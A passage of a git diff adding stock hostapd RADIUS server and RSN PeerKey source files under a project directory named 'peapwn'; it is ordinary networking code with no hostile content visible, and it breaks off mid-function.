+ + os_memset(&addr, 0, sizeof(addr)); + addr.sin6_family = AF_INET6; + os_memcpy(&addr.sin6_addr, &in6addr_any, sizeof(in6addr_any)); + addr.sin6_port = htons(port); + if (bind(s, (struct sockaddr *) &addr, sizeof(addr)) < 0) { + wpa_printf(MSG_INFO, "RADIUS: bind: %s", strerror(errno)); + close(s); + return -1; + } + + return s; +} +#endif /* CONFIG_IPV6 */ + + +static void radius_server_free_sessions(struct radius_server_data *data, + struct radius_session *sessions) +{ + struct radius_session *session, *prev; + + session = sessions; + while (session) { + prev = session; + session = session->next; + radius_server_session_free(data, prev); + } +} + + +static void radius_server_free_clients(struct radius_server_data *data, + struct radius_client *clients) +{ + struct radius_client *client, *prev; + + client = clients; + while (client) { + prev = client; + client = client->next; + + radius_server_free_sessions(data, prev->sessions); + os_free(prev->shared_secret); + os_free(prev); + } +} + + +static struct radius_client * +radius_server_read_clients(const char *client_file, int ipv6) +{ + FILE *f; + const int buf_size = 1024; + char *buf, *pos; + struct radius_client *clients, *tail, *entry; + int line = 0, mask, failed = 0, i; + struct in_addr addr; +#ifdef CONFIG_IPV6 + struct in6_addr addr6; +#endif /* CONFIG_IPV6 */ + unsigned int val; + + f = fopen(client_file, "r"); + if (f == NULL) { + RADIUS_ERROR("Could not open client file '%s'", client_file); + return NULL; + } + + buf = os_malloc(buf_size); + if (buf == NULL) { + fclose(f); + return NULL; + } + + clients = tail = NULL; + while (fgets(buf, buf_size, f)) { + /* Configuration file format: + * 192.168.1.0/24 secret + * 192.168.1.2 secret + * fe80::211:22ff:fe33:4455/64 secretipv6 + */ + line++; + buf[buf_size - 1] = '\0'; + pos = buf; + while (*pos != '\0' && *pos != '\n') + pos++; + if (*pos == '\n') + *pos = '\0'; + if (*buf == '\0' || *buf == '#') + continue; + + pos = buf; + while ((*pos >= '0' && *pos <= '9') || *pos == '.' || + (*pos >= 'a' && *pos <= 'f') || *pos == ':' || + (*pos >= 'A' && *pos <= 'F')) { + pos++; + } + + if (*pos == '\0') { + failed = 1; + break; + } + + if (*pos == '/') { + char *end; + *pos++ = '\0'; + mask = strtol(pos, &end, 10); + if ((pos == end) || + (mask < 0 || mask > (ipv6 ? 128 : 32))) { + failed = 1; + break; + } + pos = end; + } else { + mask = ipv6 ? 128 : 32; + *pos++ = '\0'; + } + + if (!ipv6 && inet_aton(buf, &addr) == 0) { + failed = 1; + break; + } +#ifdef CONFIG_IPV6 + if (ipv6 && inet_pton(AF_INET6, buf, &addr6) <= 0) { + if (inet_pton(AF_INET, buf, &addr) <= 0) { + failed = 1; + break; + } + /* Convert IPv4 address to IPv6 */ + if (mask <= 32) + mask += (128 - 32); + os_memset(addr6.s6_addr, 0, 10); + addr6.s6_addr[10] = 0xff; + addr6.s6_addr[11] = 0xff; + os_memcpy(addr6.s6_addr + 12, (char *) &addr.s_addr, + 4); + } +#endif /* CONFIG_IPV6 */ + + while (*pos == ' ' || *pos == '\t') { + pos++; + } + + if (*pos == '\0') { + failed = 1; + break; + } + + entry = os_zalloc(sizeof(*entry)); + if (entry == NULL) { + failed = 1; + break; + } + entry->shared_secret = os_strdup(pos); + if (entry->shared_secret == NULL) { + failed = 1; + os_free(entry); + break; + } + entry->shared_secret_len = os_strlen(entry->shared_secret); + entry->addr.s_addr = addr.s_addr; + if (!ipv6) { + val = 0; + for (i = 0; i < mask; i++) + val |= 1 << (31 - i); + entry->mask.s_addr = htonl(val); + } +#ifdef CONFIG_IPV6 + if (ipv6) { + int offset = mask / 8; + + os_memcpy(entry->addr6.s6_addr, addr6.s6_addr, 16); + os_memset(entry->mask6.s6_addr, 0xff, offset); + val = 0; + for (i = 0; i < (mask % 8); i++) + val |= 1 << (7 - i); + if (offset < 16) + entry->mask6.s6_addr[offset] = val; + } +#endif /* CONFIG_IPV6 */ + + if (tail == NULL) { + clients = tail = entry; + } else { + tail->next = entry; + tail = entry; + } + } + + if (failed) { + RADIUS_ERROR("Invalid line %d in '%s'", line, client_file); + radius_server_free_clients(NULL, clients); + clients = NULL; + } + + os_free(buf); + fclose(f); + + return clients; +} + + +/** + * radius_server_init - Initialize RADIUS server + * @conf: Configuration for the RADIUS server + * Returns: Pointer to private RADIUS server context or %NULL on failure + * + * This initializes a RADIUS server instance and returns a context pointer that + * will be used in other calls to the RADIUS server module. The server can be + * deinitialize by calling radius_server_deinit(). + */ +struct radius_server_data * +radius_server_init(struct radius_server_conf *conf) +{ + struct radius_server_data *data; + +#ifndef CONFIG_IPV6 + if (conf->ipv6) { + wpa_printf(MSG_ERROR, "RADIUS server compiled without IPv6 support"); + return NULL; + } +#endif /* CONFIG_IPV6 */ + + data = os_zalloc(sizeof(*data)); + if (data == NULL) + return NULL; + + os_get_time(&data->start_time); + data->conf_ctx = conf->conf_ctx; + data->eap_sim_db_priv = conf->eap_sim_db_priv; + data->ssl_ctx = conf->ssl_ctx; + data->msg_ctx = conf->msg_ctx; + data->ipv6 = conf->ipv6; + if (conf->pac_opaque_encr_key) { + data->pac_opaque_encr_key = os_malloc(16); + os_memcpy(data->pac_opaque_encr_key, conf->pac_opaque_encr_key, + 16); + } + if (conf->eap_fast_a_id) { + data->eap_fast_a_id = os_malloc(conf->eap_fast_a_id_len); + if (data->eap_fast_a_id) { + os_memcpy(data->eap_fast_a_id, conf->eap_fast_a_id, + conf->eap_fast_a_id_len); + data->eap_fast_a_id_len = conf->eap_fast_a_id_len; + } + } + if (conf->eap_fast_a_id_info) + data->eap_fast_a_id_info = os_strdup(conf->eap_fast_a_id_info); + data->eap_fast_prov = conf->eap_fast_prov; + data->pac_key_lifetime = conf->pac_key_lifetime; + data->pac_key_refresh_time = conf->pac_key_refresh_time; + data->get_eap_user = conf->get_eap_user; + data->eap_sim_aka_result_ind = conf->eap_sim_aka_result_ind; + data->tnc = conf->tnc; + data->wps = conf->wps; + data->pwd_group = conf->pwd_group; + data->server_id = conf->server_id; + if (conf->eap_req_id_text) { + data->eap_req_id_text = os_malloc(conf->eap_req_id_text_len); + if (data->eap_req_id_text) { + os_memcpy(data->eap_req_id_text, conf->eap_req_id_text, + conf->eap_req_id_text_len); + data->eap_req_id_text_len = conf->eap_req_id_text_len; + } + } + +#ifdef CONFIG_RADIUS_TEST + if (conf->dump_msk_file) + data->dump_msk_file = os_strdup(conf->dump_msk_file); +#endif /* CONFIG_RADIUS_TEST */ + + data->clients = radius_server_read_clients(conf->client_file, + conf->ipv6); + if (data->clients == NULL) { + wpa_printf(MSG_ERROR, "No RADIUS clients configured"); + radius_server_deinit(data); + return NULL; + } + +#ifdef CONFIG_IPV6 + if (conf->ipv6) + data->auth_sock = radius_server_open_socket6(conf->auth_port); + else +#endif /* CONFIG_IPV6 */ + data->auth_sock = radius_server_open_socket(conf->auth_port); + if (data->auth_sock < 0) { + wpa_printf(MSG_ERROR, "Failed to open UDP socket for RADIUS authentication server"); + radius_server_deinit(data); + return NULL; + } + if (eloop_register_read_sock(data->auth_sock, + radius_server_receive_auth, + data, NULL)) { + radius_server_deinit(data); + return NULL; + } + + return data; +} + + +/** + * radius_server_deinit - Deinitialize RADIUS server + * @data: RADIUS server context from radius_server_init() + */ +void radius_server_deinit(struct radius_server_data *data) +{ + if (data == NULL) + return; + + if (data->auth_sock >= 0) { + eloop_unregister_read_sock(data->auth_sock); + close(data->auth_sock); + } + + radius_server_free_clients(data, data->clients); + + os_free(data->pac_opaque_encr_key); + os_free(data->eap_fast_a_id); + os_free(data->eap_fast_a_id_info); + os_free(data->eap_req_id_text); +#ifdef CONFIG_RADIUS_TEST + os_free(data->dump_msk_file); +#endif /* CONFIG_RADIUS_TEST */ + os_free(data); +} + + +/** + * radius_server_get_mib - Get RADIUS server MIB information + * @data: RADIUS server context from radius_server_init() + * @buf: Buffer for returning the MIB data in text format + * @buflen: buf length in octets + * Returns: Number of octets written into buf + */ +int radius_server_get_mib(struct radius_server_data *data, char *buf, + size_t buflen) +{ + int ret, uptime; + unsigned int idx; + char *end, *pos; + struct os_time now; + struct radius_client *cli; + + /* RFC 2619 - RADIUS Authentication Server MIB */ + + if (data == NULL || buflen == 0) + return 0; + + pos = buf; + end = buf + buflen; + + os_get_time(&now); + uptime = (now.sec - data->start_time.sec) * 100 + + ((now.usec - data->start_time.usec) / 10000) % 100; + ret = os_snprintf(pos, end - pos, + "RADIUS-AUTH-SERVER-MIB\n" + "radiusAuthServIdent=hostapd\n" + "radiusAuthServUpTime=%d\n" + "radiusAuthServResetTime=0\n" + "radiusAuthServConfigReset=4\n", + uptime); + if (ret < 0 || ret >= end - pos) { + *pos = '\0'; + return pos - buf; + } + pos += ret; + + ret = os_snprintf(pos, end - pos, + "radiusAuthServTotalAccessRequests=%u\n" + "radiusAuthServTotalInvalidRequests=%u\n" + "radiusAuthServTotalDupAccessRequests=%u\n" + "radiusAuthServTotalAccessAccepts=%u\n" + "radiusAuthServTotalAccessRejects=%u\n" + "radiusAuthServTotalAccessChallenges=%u\n" + "radiusAuthServTotalMalformedAccessRequests=%u\n" + "radiusAuthServTotalBadAuthenticators=%u\n" + "radiusAuthServTotalPacketsDropped=%u\n" + "radiusAuthServTotalUnknownTypes=%u\n", + data->counters.access_requests, + data->counters.invalid_requests, + data->counters.dup_access_requests, + data->counters.access_accepts, + data->counters.access_rejects, + data->counters.access_challenges, + data->counters.malformed_access_requests, + data->counters.bad_authenticators, + data->counters.packets_dropped, + data->counters.unknown_types); + if (ret < 0 || ret >= end - pos) { + *pos = '\0'; + return pos - buf; + } + pos += ret; + + for (cli = data->clients, idx = 0; cli; cli = cli->next, idx++) { + char abuf[50], mbuf[50]; +#ifdef CONFIG_IPV6 + if (data->ipv6) { + if (inet_ntop(AF_INET6, &cli->addr6, abuf, + sizeof(abuf)) == NULL) + abuf[0] = '\0'; + if (inet_ntop(AF_INET6, &cli->mask6, abuf, + sizeof(mbuf)) == NULL) + mbuf[0] = '\0'; + } +#endif /* CONFIG_IPV6 */ + if (!data->ipv6) { + os_strlcpy(abuf, inet_ntoa(cli->addr), sizeof(abuf)); + os_strlcpy(mbuf, inet_ntoa(cli->mask), sizeof(mbuf)); + } + + ret = os_snprintf(pos, end - pos, + "radiusAuthClientIndex=%u\n" + "radiusAuthClientAddress=%s/%s\n" + "radiusAuthServAccessRequests=%u\n" + "radiusAuthServDupAccessRequests=%u\n" + "radiusAuthServAccessAccepts=%u\n" + "radiusAuthServAccessRejects=%u\n" + "radiusAuthServAccessChallenges=%u\n" + "radiusAuthServMalformedAccessRequests=%u\n" + "radiusAuthServBadAuthenticators=%u\n" + "radiusAuthServPacketsDropped=%u\n" + "radiusAuthServUnknownTypes=%u\n", + idx, + abuf, mbuf, + cli->counters.access_requests, + cli->counters.dup_access_requests, + cli->counters.access_accepts, + cli->counters.access_rejects, + cli->counters.access_challenges, + cli->counters.malformed_access_requests, + cli->counters.bad_authenticators, + cli->counters.packets_dropped, + cli->counters.unknown_types); + if (ret < 0 || ret >= end - pos) { + *pos = '\0'; + return pos - buf; + } + pos += ret; + } + + return pos - buf; +} + + +static int radius_server_get_eap_user(void *ctx, const u8 *identity, + size_t identity_len, int phase2, + struct eap_user *user) +{ + struct radius_session *sess = ctx; + struct radius_server_data *data = sess->server; + + return data->get_eap_user(data->conf_ctx, identity, identity_len, + phase2, user); +} + + +static const char * radius_server_get_eap_req_id_text(void *ctx, size_t *len) +{ + struct radius_session *sess = ctx; + struct radius_server_data *data = sess->server; + *len = data->eap_req_id_text_len; + return data->eap_req_id_text; +} + + +static struct eapol_callbacks radius_server_eapol_cb = +{ + .get_eap_user = radius_server_get_eap_user, + .get_eap_req_id_text = radius_server_get_eap_req_id_text, +}; + + +/** + * radius_server_eap_pending_cb - Pending EAP data notification + * @data: RADIUS server context from radius_server_init() + * @ctx: Pending EAP context pointer + * + * This function is used to notify EAP server module that a pending operation + * has been completed and processing of the EAP session can proceed. + */ +void radius_server_eap_pending_cb(struct radius_server_data *data, void *ctx) +{ + struct radius_client *cli; + struct radius_session *s, *sess = NULL; + struct radius_msg *msg; + + if (data == NULL) + return; + + for (cli = data->clients; cli; cli = cli->next) { + for (s = cli->sessions; s; s = s->next) { + if (s->eap == ctx && s->last_msg) { + sess = s; + break; + } + if (sess) + break; + } + if (sess) + break; + } + + if (sess == NULL) { + RADIUS_DEBUG("No session matched callback ctx"); + return; + } + + msg = sess->last_msg; + sess->last_msg = NULL; + eap_sm_pending_cb(sess->eap); + if (radius_server_request(data, msg, + (struct sockaddr *) &sess->last_from, + sess->last_fromlen, cli, + sess->last_from_addr, + sess->last_from_port, sess) == -2) + return; /* msg was stored with the session */ + + radius_msg_free(msg); +} diff --git a/peapwn/mods/hostap/src/radius/radius_server.h b/peapwn/mods/hostap/src/radius/radius_server.h new file mode 100644 index 000000000..284bd59d7 --- /dev/null +++ b/peapwn/mods/hostap/src/radius/radius_server.h @@ -0,0 +1,220 @@ +/* + * RADIUS authentication server + * Copyright (c) 2005-2009, 2011, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef RADIUS_SERVER_H +#define RADIUS_SERVER_H + +struct radius_server_data; +struct eap_user; + +/** + * struct radius_server_conf - RADIUS server configuration + */ +struct radius_server_conf { + /** + * auth_port - UDP port to listen to as an authentication server + */ + int auth_port; + + /** + * client_file - RADIUS client configuration file + * + * This file contains the RADIUS clients and the shared secret to be + * used with them in a format where each client is on its own line. The + * first item on the line is the IPv4 or IPv6 address of the client + * with an optional address mask to allow full network to be specified + * (e.g., 192.168.1.2 or 192.168.1.0/24). This is followed by white + * space (space or tabulator) and the shared secret. Lines starting + * with '#' are skipped and can be used as comments. + */ + char *client_file; + + /** + * conf_ctx - Context pointer for callbacks + * + * This is used as the ctx argument in get_eap_user() calls. + */ + void *conf_ctx; + + /** + * eap_sim_db_priv - EAP-SIM/AKA database context + * + * This is passed to the EAP-SIM/AKA server implementation as a + * callback context. + */ + void *eap_sim_db_priv; + + /** + * ssl_ctx - TLS context + * + * This is passed to the EAP server implementation as a callback + * context for TLS operations. + */ + void *ssl_ctx; + + /** + * pac_opaque_encr_key - PAC-Opaque encryption key for EAP-FAST + * + * This parameter is used to set a key for EAP-FAST to encrypt the + * PAC-Opaque data. It can be set to %NULL if EAP-FAST is not used. If + * set, must point to a 16-octet key. + */ + u8 *pac_opaque_encr_key; + + /** + * eap_fast_a_id - EAP-FAST authority identity (A-ID) + * + * If EAP-FAST is not used, this can be set to %NULL. In theory, this + * is a variable length field, but due to some existing implementations + * requiring A-ID to be 16 octets in length, it is recommended to use + * that length for the field to provide interoperability with deployed + * peer implementations. + */ + u8 *eap_fast_a_id; + + /** + * eap_fast_a_id_len - Length of eap_fast_a_id buffer in octets + */ + size_t eap_fast_a_id_len; + + /** + * eap_fast_a_id_info - EAP-FAST authority identifier information + * + * This A-ID-Info contains a user-friendly name for the A-ID. For + * example, this could be the enterprise and server names in + * human-readable format. This field is encoded as UTF-8. If EAP-FAST + * is not used, this can be set to %NULL. + */ + char *eap_fast_a_id_info; + + /** + * eap_fast_prov - EAP-FAST provisioning modes + * + * 0 = provisioning disabled, 1 = only anonymous provisioning allowed, + * 2 = only authenticated provisioning allowed, 3 = both provisioning + * modes allowed. + */ + int eap_fast_prov; + + /** + * pac_key_lifetime - EAP-FAST PAC-Key lifetime in seconds + * + * This is the hard limit on how long a provisioned PAC-Key can be + * used. + */ + int pac_key_lifetime; + + /** + * pac_key_refresh_time - EAP-FAST PAC-Key refresh time in seconds + * + * This is a soft limit on the PAC-Key. The server will automatically + * generate a new PAC-Key when this number of seconds (or fewer) of the + * lifetime remains. + */ + int pac_key_refresh_time; + + /** + * eap_sim_aka_result_ind - EAP-SIM/AKA protected success indication + * + * This controls whether the protected success/failure indication + * (AT_RESULT_IND) is used with EAP-SIM and EAP-AKA. + */ + int eap_sim_aka_result_ind; + + /** + * tnc - Trusted Network Connect (TNC) + * + * This controls whether TNC is enabled and will be required before the + * peer is allowed to connect. Note: This is only used with EAP-TTLS + * and EAP-FAST. If any other EAP method is enabled, the peer will be + * allowed to connect without TNC. + */ + int tnc; + + /** + * pwd_group - EAP-pwd D-H group + * + * This is used to select which D-H group to use with EAP-pwd. + */ + u16 pwd_group; + + /** + * server_id - Server identity + */ + const char *server_id; + + /** + * wps - Wi-Fi Protected Setup context + * + * If WPS is used with an external RADIUS server (which is quite + * unlikely configuration), this is used to provide a pointer to WPS + * context data. Normally, this can be set to %NULL. + */ + struct wps_context *wps; + + /** + * ipv6 - Whether to enable IPv6 support in the RADIUS server + */ + int ipv6; + + /** + * get_eap_user - Callback for fetching EAP user information + * @ctx: Context data from conf_ctx + * @identity: User identity + * @identity_len: identity buffer length in octets + * @phase2: Whether this is for Phase 2 identity + * @user: Data structure for filling in the user information + * Returns: 0 on success, -1 on failure + * + * This is used to fetch information from user database. The callback + * will fill in information about allowed EAP methods and the user + * password. The password field will be an allocated copy of the + * password data and RADIUS server will free it after use. + */ + int (*get_eap_user)(void *ctx, const u8 *identity, size_t identity_len, + int phase2, struct eap_user *user); + + /** + * eap_req_id_text - Optional data for EAP-Request/Identity + * + * This can be used to configure an optional, displayable message that + * will be sent in EAP-Request/Identity. This string can contain an + * ASCII-0 character (nul) to separate network infromation per RFC + * 4284. The actual string length is explicit provided in + * eap_req_id_text_len since nul character will not be used as a string + * terminator. + */ + const char *eap_req_id_text; + + /** + * eap_req_id_text_len - Length of eap_req_id_text buffer in octets + */ + size_t eap_req_id_text_len; + + /* + * msg_ctx - Context data for wpa_msg() calls + */ + void *msg_ctx; + +#ifdef CONFIG_RADIUS_TEST + const char *dump_msk_file; +#endif /* CONFIG_RADIUS_TEST */ +}; + + +struct radius_server_data * +radius_server_init(struct radius_server_conf *conf); + +void radius_server_deinit(struct radius_server_data *data); + +int radius_server_get_mib(struct radius_server_data *data, char *buf, + size_t buflen); + +void radius_server_eap_pending_cb(struct radius_server_data *data, void *ctx); + +#endif /* RADIUS_SERVER_H */ diff --git a/peapwn/mods/hostap/src/rsn_supp/Makefile b/peapwn/mods/hostap/src/rsn_supp/Makefile new file mode 100644 index 000000000..adfd3dfd5 --- /dev/null +++ b/peapwn/mods/hostap/src/rsn_supp/Makefile @@ -0,0 +1,8 @@ +all: + @echo Nothing to be made. + +clean: + rm -f *~ *.o *.d *.gcno *.gcda *.gcov + +install: + @echo Nothing to be made. diff --git a/peapwn/mods/hostap/src/rsn_supp/peerkey.c b/peapwn/mods/hostap/src/rsn_supp/peerkey.c new file mode 100644 index 000000000..789ac2554 --- /dev/null +++ b/peapwn/mods/hostap/src/rsn_supp/peerkey.c @@ -0,0 +1,1163 @@ +/* + * WPA Supplicant - PeerKey for Direct Link Setup (DLS) + * Copyright (c) 2006-2008, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#ifdef CONFIG_PEERKEY + +#include "common.h" +#include "eloop.h" +#include "crypto/sha1.h" +#include "crypto/sha256.h" +#include "crypto/random.h" +#include "common/ieee802_11_defs.h" +#include "wpa.h" +#include "wpa_i.h" +#include "wpa_ie.h" +#include "peerkey.h" + + +static u8 * wpa_add_ie(u8 *pos, const u8 *ie, size_t ie_len) +{ + os_memcpy(pos, ie, ie_len); + return pos + ie_len; +} + + +static u8 * wpa_add_kde(u8 *pos, u32 kde, const u8 *data, size_t data_len) +{ + *pos++ = WLAN_EID_VENDOR_SPECIFIC; + *pos++ = RSN_SELECTOR_LEN + data_len; + RSN_SELECTOR_PUT(pos, kde); + pos += RSN_SELECTOR_LEN; + os_memcpy(pos, data, data_len); + pos += data_len; + return pos; +} + + +static void wpa_supplicant_smk_timeout(void *eloop_ctx, void *timeout_ctx) +{ +#if 0 + struct wpa_sm *sm = eloop_ctx; + struct wpa_peerkey *peerkey = timeout_ctx; +#endif + /* TODO: time out SMK and any STK that was generated using this SMK */ +} + + +static void wpa_supplicant_peerkey_free(struct wpa_sm *sm, + struct wpa_peerkey *peerkey) +{ + eloop_cancel_timeout(wpa_supplicant_smk_timeout, sm, peerkey); + os_free(peerkey); +} + + +static int wpa_supplicant_send_smk_error(struct wpa_sm *sm, const u8 *dst, + const u8 *peer, + u16 mui, u16 error_type, int ver) +{ + size_t rlen; + struct wpa_eapol_key *err; + struct rsn_error_kde error; + u8 *rbuf, *pos; + size_t kde_len; + u16 key_info; + + kde_len = 2 + RSN_SELECTOR_LEN + sizeof(error); + if (peer) + kde_len += 2 + RSN_SELECTOR_LEN + ETH_ALEN; + + rbuf = wpa_sm_alloc_eapol(sm, IEEE802_1X_TYPE_EAPOL_KEY, + NULL, sizeof(*err) + kde_len, &rlen, + (void *) &err); + if (rbuf == NULL) + return -1; + + err->type = EAPOL_KEY_TYPE_RSN; + key_info = ver | WPA_KEY_INFO_SMK_MESSAGE | WPA_KEY_INFO_MIC | + WPA_KEY_INFO_SECURE | WPA_KEY_INFO_ERROR | + WPA_KEY_INFO_REQUEST; + WPA_PUT_BE16(err->key_info, key_info); + WPA_PUT_BE16(err->key_length, 0); + os_memcpy(err->replay_counter, sm->request_counter, + WPA_REPLAY_COUNTER_LEN); + inc_byte_array(sm->request_counter, WPA_REPLAY_COUNTER_LEN); + + WPA_PUT_BE16(err->key_data_length, (u16) kde_len); + pos = (u8 *) (err + 1); + + if (peer) { + /* Peer MAC Address KDE */ + pos = wpa_add_kde(pos, RSN_KEY_DATA_MAC_ADDR, peer, ETH_ALEN); + } + + /* Error KDE */ + error.mui = host_to_be16(mui); + error.error_type = host_to_be16(error_type); + wpa_add_kde(pos, RSN_KEY_DATA_ERROR, (u8 *) &error, sizeof(error)); + + if (peer) { + wpa_printf(MSG_DEBUG, "RSN: Sending EAPOL-Key SMK Error (peer " + MACSTR " mui %d error_type %d)", + MAC2STR(peer), mui, error_type); + } else { + wpa_printf(MSG_DEBUG, "RSN: Sending EAPOL-Key SMK Error " + "(mui %d error_type %d)", mui, error_type); + } + + wpa_eapol_key_send(sm, sm->ptk.kck, ver, dst, ETH_P_EAPOL, + rbuf, rlen, err->key_mic); + + return 0; +} + + +static int wpa_supplicant_send_smk_m3(struct wpa_sm *sm, + const unsigned char *src_addr, + const struct wpa_eapol_key *key, + int ver, struct wpa_peerkey *peerkey) +{ + size_t rlen; + struct wpa_eapol_key *reply; + u8 *rbuf, *pos; + size_t kde_len; + u16 key_info; + + /* KDEs: Peer RSN IE, Initiator MAC Address, Initiator Nonce */ + kde_len = peerkey->rsnie_p_len + + 2 + RSN_SELECTOR_LEN + ETH_ALEN + + 2 + RSN_SELECTOR_LEN + WPA_NONCE_LEN; + + rbuf = wpa_sm_alloc_eapol(sm, IEEE802_1X_TYPE_EAPOL_KEY, + NULL, sizeof(*reply) + kde_len, &rlen, + (void *) &reply); + if (rbuf == NULL) + return -1; + + reply->type = EAPOL_KEY_TYPE_RSN; + key_info = ver | WPA_KEY_INFO_SMK_MESSAGE | WPA_KEY_INFO_MIC | + WPA_KEY_INFO_SECURE; + WPA_PUT_BE16(reply->key_info, key_info); + WPA_PUT_BE16(reply->key_length, 0); + os_memcpy(reply->replay_counter, key->replay_counter, + WPA_REPLAY_COUNTER_LEN); + + os_memcpy(reply->key_nonce, peerkey->pnonce, WPA_NONCE_LEN); + + WPA_PUT_BE16(reply->key_data_length, (u16) kde_len); + pos = (u8 *) (reply + 1); + + /* Peer RSN IE */ + pos = wpa_add_ie(pos, peerkey->rsnie_p, peerkey->rsnie_p_len); + + /* Initiator MAC Address KDE */ + pos = wpa_add_kde(pos, RSN_KEY_DATA_MAC_ADDR, peerkey->addr, ETH_ALEN); + + /* Initiator Nonce */ + wpa_add_kde(pos, RSN_KEY_DATA_NONCE, peerkey->inonce, WPA_NONCE_LEN); + + wpa_printf(MSG_DEBUG, "RSN: Sending EAPOL-Key SMK M3"); + wpa_eapol_key_send(sm, sm->ptk.kck, ver, src_addr, ETH_P_EAPOL, + rbuf, rlen, reply->key_mic); + + return 0; +} + + +static int wpa_supplicant_process_smk_m2( + struct wpa_sm *sm, const unsigned char *src_addr, + const struct wpa_eapol_key *key, size_t extra_len, int ver) +{ + struct wpa_peerkey *peerkey; + struct wpa_eapol_ie_parse kde; + struct wpa_ie_data ie; + int cipher; + struct rsn_ie_hdr *hdr; + u8 *pos; + + wpa_printf(MSG_DEBUG, "RSN: Received SMK M2"); + + if (!sm->peerkey_enabled || sm->proto != WPA_PROTO_RSN) { + wpa_printf(MSG_INFO, "RSN: SMK handshake not allowed for " + "the current network"); + return -1; + } + + if (wpa_supplicant_parse_ies((const u8 *) (key + 1), extra_len, &kde) < + 0) { + wpa_printf(MSG_INFO, "RSN: Failed to parse KDEs in SMK M2"); + return -1; + } + + if (kde.rsn_ie == NULL || kde.mac_addr == NULL || + kde.mac_addr_len < ETH_ALEN) { + wpa_printf(MSG_INFO, "RSN: No RSN IE or MAC address KDE in " + "SMK M2"); + return -1; + } + + wpa_printf(MSG_DEBUG, "RSN: SMK M2 - SMK initiator " MACSTR, + MAC2STR(kde.mac_addr)); + + if (kde.rsn_ie_len > PEERKEY_MAX_IE_LEN) { + wpa_printf(MSG_INFO, "RSN: Too long Initiator RSN IE in SMK " + "M2"); + return -1; + } + + if (wpa_parse_wpa_ie_rsn(kde.rsn_ie, kde.rsn_ie_len, &ie) < 0) { + wpa_printf(MSG_INFO, "RSN: Failed to parse RSN IE in SMK M2"); + return -1; + } + + cipher = wpa_pick_pairwise_cipher(ie.pairwise_cipher & + sm->allowed_pairwise_cipher, 0); + if (cipher < 0) { + wpa_printf(MSG_INFO, "RSN: No acceptable cipher in SMK M2"); + wpa_supplicant_send_smk_error(sm, src_addr, kde.mac_addr, + STK_MUI_SMK, STK_ERR_CPHR_NS, + ver); + return -1; + } + wpa_printf(MSG_DEBUG, "RSN: Using %s for PeerKey", + wpa_cipher_txt(cipher)); + + /* TODO: find existing entry and if found, use that instead of adding + * a new one; how to handle the case where both ends initiate at the + * same time? */ + peerkey = os_zalloc(sizeof(*peerkey)); + if (peerkey == NULL) + return -1; + os_memcpy(peerkey->addr, kde.mac_addr, ETH_ALEN); + os_memcpy(peerkey->inonce, key->key_nonce, WPA_NONCE_LEN); + os_memcpy(peerkey->rsnie_i, kde.rsn_ie, kde.rsn_ie_len); + peerkey->rsnie_i_len = kde.rsn_ie_len; + peerkey->cipher = cipher; +#ifdef CONFIG_IEEE80211W + if (ie.key_mgmt & (WPA_KEY_MGMT_IEEE8021X_SHA256 | + WPA_KEY_MGMT_PSK_SHA256)) + peerkey->use_sha256 = 1; +#endif /* CONFIG_IEEE80211W */ + + if (random_get_bytes(peerkey->pnonce, WPA_NONCE_LEN)) { + wpa_msg(sm->ctx->msg_ctx, MSG_WARNING, + "WPA: Failed to get random data for PNonce"); + wpa_supplicant_peerkey_free(sm, peerkey); + return -1; + } + + hdr = (struct rsn_ie_hdr *) peerkey->rsnie_p; + hdr->elem_id = WLAN_EID_RSN; + WPA_PUT_LE16(hdr->version, RSN_VERSION); + pos = (u8 *) (hdr + 1); + /* Group Suite can be anything for SMK RSN IE; receiver will just + * ignore it. */ + RSN_SELECTOR_PUT(pos, RSN_CIPHER_SUITE_CCMP); + pos += RSN_SELECTOR_LEN; + /* Include only the selected cipher in pairwise cipher suite */ + WPA_PUT_LE16(pos, 1); + pos += 2; + RSN_SELECTOR_PUT(pos, wpa_cipher_to_suite(WPA_PROTO_RSN, cipher)); + pos += RSN_SELECTOR_LEN; + + hdr->len = (pos - peerkey->rsnie_p) - 2; + peerkey->rsnie_p_len = pos - peerkey->rsnie_p; + wpa_hexdump(MSG_DEBUG, "WPA: RSN IE for SMK handshake", + peerkey->rsnie_p, peerkey->rsnie_p_len); + + wpa_supplicant_send_smk_m3(sm, src_addr, key, ver, peerkey); + + peerkey->next = sm->peerkey; + sm->peerkey = peerkey; + + return 0; +} + + +/** + * rsn_smkid - Derive SMK identifier + * @smk: Station master key (32 bytes) + * @pnonce: Peer Nonce + * @mac_p: Peer MAC address + * @inonce: Initiator Nonce + * @mac_i: Initiator MAC address + * @use_sha256: Whether to use SHA256-based KDF + * + * 8.5.1.4 Station to station (STK) key hierarchy + * SMKID = HMAC-SHA1-128(SMK, "SMK Name" || PNonce || MAC_P || INonce || MAC_I) + */ +static void rsn_smkid(const u8 *smk, const u8 *pnonce, const u8 *mac_p, + const u8 *inonce, const u8 *mac_i, u8 *smkid, + int use_sha256) +{ + char *title = "SMK Name"; + const u8 *addr[5]; + const size_t len[5] = { 8, WPA_NONCE_LEN, ETH_ALEN, WPA_NONCE_LEN, + ETH_ALEN }; + unsigned char hash[SHA256_MAC_LEN]; + + addr[0] = (u8 *) title; + addr[1] = pnonce; + addr[2] = mac_p; + addr[3] = inonce; + addr[4] = mac_i; + +#ifdef CONFIG_IEEE80211W + if (use_sha256) + hmac_sha256_vector(smk, PMK_LEN, 5, addr, len, hash); + else +#endif /* CONFIG_IEEE80211W */ + hmac_sha1_vector(smk, PMK_LEN, 5, addr, len, hash); + os_memcpy(smkid, hash, PMKID_LEN); +} + + +static void wpa_supplicant_send_stk_1_of_4(struct wpa_sm *sm, + struct wpa_peerkey *peerkey) +{ + size_t mlen; + struct wpa_eapol_key *msg; + u8 *mbuf; + size_t kde_len; + u16 key_info, ver; + + kde_len = 2 + RSN_SELECTOR_LEN + PMKID_LEN; + + mbuf = wpa_sm_alloc_eapol(sm, IEEE802_1X_TYPE_EAPOL_KEY, NULL, + sizeof(*msg) + kde_len, &mlen, + (void *) &msg); + if (mbuf == NULL) + return; + + msg->type = EAPOL_KEY_TYPE_RSN; + + if (peerkey->cipher != WPA_CIPHER_TKIP) + ver = WPA_KEY_INFO_TYPE_HMAC_SHA1_AES; + else + ver = WPA_KEY_INFO_TYPE_HMAC_MD5_RC4; + + key_info = ver | WPA_KEY_INFO_KEY_TYPE | 